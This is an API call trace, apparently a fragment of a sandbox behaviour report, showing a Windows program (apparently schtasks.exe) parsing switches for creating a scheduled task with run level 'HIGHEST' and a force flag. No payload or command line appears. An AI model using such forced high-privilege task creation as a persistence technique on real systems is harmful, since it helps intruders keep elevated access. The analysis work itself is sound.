[0123.329] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.329] lstrlenW (lpString="k") returned 1 [0123.329] lstrlenW (lpString="k") returned 1 [0123.329] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.329] lstrlenW (lpString="rl") returned 2 [0123.329] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.329] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|k|") returned 3 [0123.329] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|rl|") returned 4 [0123.329] lstrlenW (lpString="|k|") returned 3 [0123.329] lstrlenW (lpString="|rl|") returned 4 [0123.329] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.329] lstrlenW (lpString="du") returned 2 [0123.329] lstrlenW (lpString="du") returned 2 [0123.329] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.329] lstrlenW (lpString="rl") returned 2 [0123.329] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.329] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|du|") returned 4 [0123.329] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|rl|") returned 4 [0123.329] lstrlenW (lpString="|du|") returned 4 [0123.329] lstrlenW (lpString="|rl|") returned 4 [0123.329] StrStrIW (lpFirst="|du|", lpSrch="|rl|") returned 0x0 [0123.329] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.329] lstrlenW (lpString="ri") returned 2 [0123.329] lstrlenW (lpString="ri") returned 2 [0123.329] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.329] lstrlenW (lpString="rl") returned 2 [0123.329] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.330] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|ri|") returned 4 [0123.330] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|rl|") returned 4 [0123.330] lstrlenW (lpString="|ri|") returned 4 [0123.330] lstrlenW (lpString="|rl|") returned 4 [0123.330] StrStrIW (lpFirst="|ri|", lpSrch="|rl|") returned 0x0 [0123.330] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.330] lstrlenW (lpString="z") returned 1 [0123.330] lstrlenW (lpString="z") returned 1 [0123.330] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.330] lstrlenW (lpString="rl") returned 2 [0123.330] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.330] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|z|") returned 3 [0123.330] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|rl|") returned 4 [0123.330] lstrlenW (lpString="|z|") returned 3 [0123.330] lstrlenW (lpString="|rl|") returned 4 [0123.330] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.330] lstrlenW (lpString="f") returned 1 [0123.330] lstrlenW (lpString="f") returned 1 [0123.330] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.330] lstrlenW (lpString="rl") returned 2 [0123.330] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.330] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|f|") returned 3 [0123.330] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|rl|") returned 4 [0123.330] lstrlenW (lpString="|f|") returned 3 [0123.330] lstrlenW (lpString="|rl|") returned 4 [0123.330] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.330] lstrlenW (lpString="v1") returned 2 [0123.331] lstrlenW (lpString="v1") returned 2 [0123.331] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.331] lstrlenW (lpString="rl") returned 2 [0123.331] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.331] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|v1|") returned 4 [0123.331] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|rl|") returned 4 [0123.331] lstrlenW (lpString="|v1|") returned 4 [0123.331] lstrlenW (lpString="|rl|") returned 4 [0123.331] StrStrIW (lpFirst="|v1|", lpSrch="|rl|") returned 0x0 [0123.331] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.331] lstrlenW (lpString="xml") returned 3 [0123.331] lstrlenW (lpString="xml") returned 3 [0123.331] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.331] lstrlenW (lpString="rl") returned 2 [0123.331] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.331] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x6, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|xml|") returned 5 [0123.331] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|rl|") returned 4 [0123.331] lstrlenW (lpString="|xml|") returned 5 [0123.331] lstrlenW (lpString="|rl|") returned 4 [0123.331] StrStrIW (lpFirst="|xml|", lpSrch="|rl|") returned 0x0 [0123.331] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.331] lstrlenW (lpString="ec") returned 2 [0123.331] lstrlenW (lpString="ec") returned 2 [0123.331] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.331] lstrlenW (lpString="rl") returned 2 [0123.331] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.332] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|ec|") returned 4 [0123.332] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|rl|") returned 4 [0123.332] lstrlenW (lpString="|ec|") returned 4 [0123.332] lstrlenW (lpString="|rl|") returned 4 [0123.332] StrStrIW (lpFirst="|ec|", lpSrch="|rl|") returned 0x0 [0123.332] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.332] lstrlenW (lpString="rl") returned 2 [0123.332] lstrlenW (lpString="rl") returned 2 [0123.332] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.332] lstrlenW (lpString="rl") returned 2 [0123.332] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.332] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|rl|") returned 4 [0123.332] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|rl|") returned 4 [0123.332] lstrlenW (lpString="|rl|") returned 4 [0123.332] lstrlenW (lpString="|rl|") returned 4 [0123.332] StrStrIW (lpFirst="|rl|", lpSrch="|rl|") returned="|rl|" [0123.332] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.332] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.332] lstrlenW (lpString="HIGHEST") returned 7 [0123.332] lstrlenW (lpString="-/") returned 2 [0123.332] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0123.332] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.332] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.332] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.332] lstrlenW (lpString="HIGHEST") returned 7 [0123.332] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0123.332] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.332] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.332] _memicmp (_Buf1=0x23fabffa990, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.333] lstrlenW (lpString="HIGHEST") returned 7 [0123.333] lstrlenW (lpString="HIGHEST") returned 7 [0123.333] lstrlenW (lpString=" \x09") returned 2 [0123.333] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0123.333] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0123.333] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0123.333] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0123.333] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0123.333] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0123.333] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0123.333] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0123.333] GetLastError () returned 0x0 [0123.333] lstrlenW (lpString="HIGHEST") returned 7 [0123.333] lstrlenW (lpString="HIGHEST") returned 7 [0123.333] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.333] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.333] lstrlenW (lpString="/f") returned 2 [0123.333] lstrlenW (lpString="-/") returned 2 [0123.333] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0123.333] lstrlenW (lpString="create") returned 6 [0123.333] lstrlenW (lpString="create") returned 6 [0123.333] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.333] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.333] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x9, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|create|") returned 8 [0123.333] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x4, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|f|") returned 3 [0123.333] lstrlenW (lpString="|create|") returned 8 [0123.333] lstrlenW (lpString="|f|") returned 3 [0123.333] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0123.333] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.333] lstrlenW (lpString="?") returned 1 [0123.333] lstrlenW (lpString="?") returned 1 [0123.333] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.333] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.333] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|?|") returned 3 [0123.334] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x4, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|f|") returned 3 [0123.334] lstrlenW (lpString="|?|") returned 3 [0123.334] lstrlenW (lpString="|f|") returned 3 [0123.334] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0123.334] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.334] lstrlenW (lpString="s") returned 1 [0123.334] lstrlenW (lpString="s") returned 1 [0123.334] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.334] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.334] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|s|") returned 3 [0123.334] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x4, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|f|") returned 3 [0123.334] lstrlenW (lpString="|s|") returned 3 [0123.334] lstrlenW (lpString="|f|") returned 3 [0123.334] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0123.334] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.334] lstrlenW (lpString="u") returned 1 [0123.334] lstrlenW (lpString="u") returned 1 [0123.334] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.334] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.334] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|u|") returned 3 [0123.334] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x4, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|f|") returned 3 [0123.334] lstrlenW (lpString="|u|") returned 3 [0123.334] lstrlenW (lpString="|f|") returned 3 [0123.334] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0123.334] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.334] lstrlenW (lpString="p") returned 1 [0123.334] lstrlenW (lpString="p") returned 1 [0123.334] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.334] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.334] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|p|") returned 3 [0123.334] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x4, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|f|") returned 3 [0123.334] lstrlenW (lpString="|p|") returned 3 [0123.334] lstrlenW (lpString="|f|") returned 3 [0123.335] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0123.335] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.335] lstrlenW (lpString="ru") returned 2 [0123.335] lstrlenW (lpString="ru") returned 2 [0123.335] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.335] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.335] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|ru|") returned 4 [0123.335] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x4, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|f|") returned 3 [0123.335] lstrlenW (lpString="|ru|") returned 4 [0123.335] lstrlenW (lpString="|f|") returned 3 [0123.335] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0123.335] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.335] lstrlenW (lpString="rp") returned 2 [0123.335] lstrlenW (lpString="rp") returned 2 [0123.335] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.335] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.335] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|rp|") returned 4 [0123.335] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x4, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|f|") returned 3 [0123.335] lstrlenW (lpString="|rp|") returned 4 [0123.335] lstrlenW (lpString="|f|") returned 3 [0123.335] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0123.336] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.336] lstrlenW (lpString="sc") returned 2 [0123.336] lstrlenW (lpString="sc") returned 2 [0123.336] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.336] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.336] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|sc|") returned 4 [0123.336] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x4, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|f|") returned 3 [0123.336] lstrlenW (lpString="|sc|") returned 4 [0123.336] lstrlenW (lpString="|f|") returned 3 [0123.336] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0123.336] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.336] lstrlenW (lpString="mo") returned 2 [0123.336] lstrlenW (lpString="mo") returned 2 [0123.336] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.336] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.336] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|mo|") returned 4 [0123.336] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x4, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|f|") returned 3 [0123.336] lstrlenW (lpString="|mo|") returned 4 [0123.336] lstrlenW (lpString="|f|") returned 3 [0123.336] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0123.336] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.336] lstrlenW (lpString="d") returned 1 [0123.336] lstrlenW (lpString="d") returned 1 [0123.336] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.336] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.336] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|d|") returned 3 [0123.336] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x4, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|f|") returned 3 [0123.336] lstrlenW (lpString="|d|") returned 3 [0123.336] lstrlenW (lpString="|f|") returned 3 [0123.336] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0123.336] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.336] lstrlenW (lpString="m") returned 1 [0123.336] lstrlenW (lpString="m") returned 1 [0123.336] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.336] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.337] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|m|") returned 3 [0123.337] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x4, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|f|") returned 3 [0123.337] lstrlenW (lpString="|m|") returned 3 [0123.337] lstrlenW (lpString="|f|") returned 3 [0123.337] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0123.337] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.337] lstrlenW (lpString="i") returned 1 [0123.337] lstrlenW (lpString="i") returned 1 [0123.337] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.337] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.337] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|i|") returned 3 [0123.337] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x4, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|f|") returned 3 [0123.337] lstrlenW (lpString="|i|") returned 3 [0123.337] lstrlenW (lpString="|f|") returned 3 [0123.337] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0123.337] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.337] lstrlenW (lpString="tn") returned 2 [0123.337] lstrlenW (lpString="tn") returned 2 [0123.337] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.337] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.337] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|tn|") returned 4 [0123.337] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x4, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|f|") returned 3 [0123.337] lstrlenW (lpString="|tn|") returned 4 [0123.337] lstrlenW (lpString="|f|") returned 3 [0123.337] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0123.337] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.337] lstrlenW (lpString="tr") returned 2 [0123.337] lstrlenW (lpString="tr") returned 2 [0123.337] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.337] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.337] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|tr|") returned 4 [0123.337] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x4, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|f|") returned 3 [0123.337] lstrlenW (lpString="|tr|") returned 4 [0123.337] lstrlenW (lpString="|f|") returned 3 [0123.338] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0123.338] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.338] lstrlenW (lpString="st") returned 2 [0123.338] lstrlenW (lpString="st") returned 2 [0123.338] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.338] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.338] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|st|") returned 4 [0123.338] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x4, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|f|") returned 3 [0123.338] lstrlenW (lpString="|st|") returned 4 [0123.338] lstrlenW (lpString="|f|") returned 3 [0123.338] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0123.338] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.338] lstrlenW (lpString="sd") returned 2 [0123.338] lstrlenW (lpString="sd") returned 2 [0123.338] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.338] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.338] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|sd|") returned 4 [0123.338] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x4, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|f|") returned 3 [0123.338] lstrlenW (lpString="|sd|") returned 4 [0123.338] lstrlenW (lpString="|f|") returned 3 [0123.338] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0123.338] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.338] lstrlenW (lpString="ed") returned 2 [0123.338] lstrlenW (lpString="ed") returned 2 [0123.338] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.338] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.338] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|ed|") returned 4 [0123.338] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x4, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|f|") returned 3 [0123.338] lstrlenW (lpString="|ed|") returned 4 [0123.338] lstrlenW (lpString="|f|") returned 3 [0123.338] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0123.338] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.338] lstrlenW (lpString="it") returned 2 [0123.338] lstrlenW (lpString="it") returned 2 [0123.338] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.339] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.339] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|it|") returned 4 [0123.339] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x4, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|f|") returned 3 [0123.339] lstrlenW (lpString="|it|") returned 4 [0123.339] lstrlenW (lpString="|f|") returned 3 [0123.339] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0123.339] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.339] lstrlenW (lpString="et") returned 2 [0123.339] lstrlenW (lpString="et") returned 2 [0123.339] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.339] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.339] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|et|") returned 4 [0123.339] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x4, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|f|") returned 3 [0123.339] lstrlenW (lpString="|et|") returned 4 [0123.339] lstrlenW (lpString="|f|") returned 3 [0123.339] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0123.339] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.339] lstrlenW (lpString="k") returned 1 [0123.339] lstrlenW (lpString="k") returned 1 [0123.339] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.339] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.339] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|k|") returned 3 [0123.339] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x4, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|f|") returned 3 [0123.339] lstrlenW (lpString="|k|") returned 3 [0123.339] lstrlenW (lpString="|f|") returned 3 [0123.339] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0123.339] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.339] lstrlenW (lpString="du") returned 2 [0123.339] lstrlenW (lpString="du") returned 2 [0123.339] _memicmp (_Buf1=0x23fabff3930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.339] _memicmp (_Buf1=0x23fabffac90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.339] _vsnwprintf (in: _Buffer=0x23fabff3950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|du|") returned 4 [0123.339] _vsnwprintf (in: _Buffer=0x23fabffab50, _BufferCount=0x4, _Format="|%s|", _ArgList=0xaed211c6b8 | out: _Buffer="|f|") returned 3 [0123.339] lstrlenW (lpString="|du|") returned 4 [0123.339] lstrlenW (lpString="|f|") returned 3 [0123.339] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0123.340] RtlRestoreLastWin32Error () returned 0xaed2395000 